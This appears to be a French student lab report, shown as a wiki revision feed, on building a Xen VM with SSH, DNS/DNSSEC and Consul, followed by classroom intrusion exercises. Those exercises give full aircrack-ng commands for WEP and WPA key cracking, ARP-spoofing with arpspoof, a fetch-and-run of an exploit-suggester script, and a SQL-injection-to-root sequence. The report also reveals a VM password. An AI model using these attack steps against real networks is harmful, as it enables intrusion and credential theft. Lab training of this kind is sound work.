     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     dest: &amp;quot;/etc/consul/{{ item }}&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - config.json&lt;br /&gt;
     - web.json&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
   register: systemd&lt;br /&gt;
 &lt;br /&gt;
 - name: Deamon reload&lt;br /&gt;
   systemd:&lt;br /&gt;
     daemon_reload: true&lt;br /&gt;
   when: systemd.changed&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 1,&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/web.json&amp;lt;/code&amp;gt; contient : &lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;service&amp;quot;: {&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;web-bellerose&amp;quot;,&lt;br /&gt;
 		&amp;quot;tags&amp;quot;: [&amp;quot;boris&amp;quot;,&amp;quot;louis&amp;quot;,&amp;quot;web&amp;quot;],&lt;br /&gt;
 		&amp;quot;port&amp;quot;: 80&lt;br /&gt;
 	},&lt;br /&gt;
 &lt;br /&gt;
 	&amp;quot;check&amp;quot;: {&lt;br /&gt;
 		&amp;quot;id&amp;quot;: &amp;quot;webport&amp;quot;,&lt;br /&gt;
 		&amp;quot;name&amp;quot;: &amp;quot;Simple HTTP GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&lt;br /&gt;
 		&amp;quot;http&amp;quot;: &amp;quot;http://172.26.145.106&amp;quot;,&lt;br /&gt;
 		&amp;quot;interval&amp;quot;: &amp;quot;10s&amp;quot;,&lt;br /&gt;
 		&amp;quot;timeout&amp;quot;: &amp;quot;1s&amp;quot;&lt;br /&gt;
 	}&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58010</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=58010"/>
				<updated>2022-01-12T12:38:19Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Consul */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
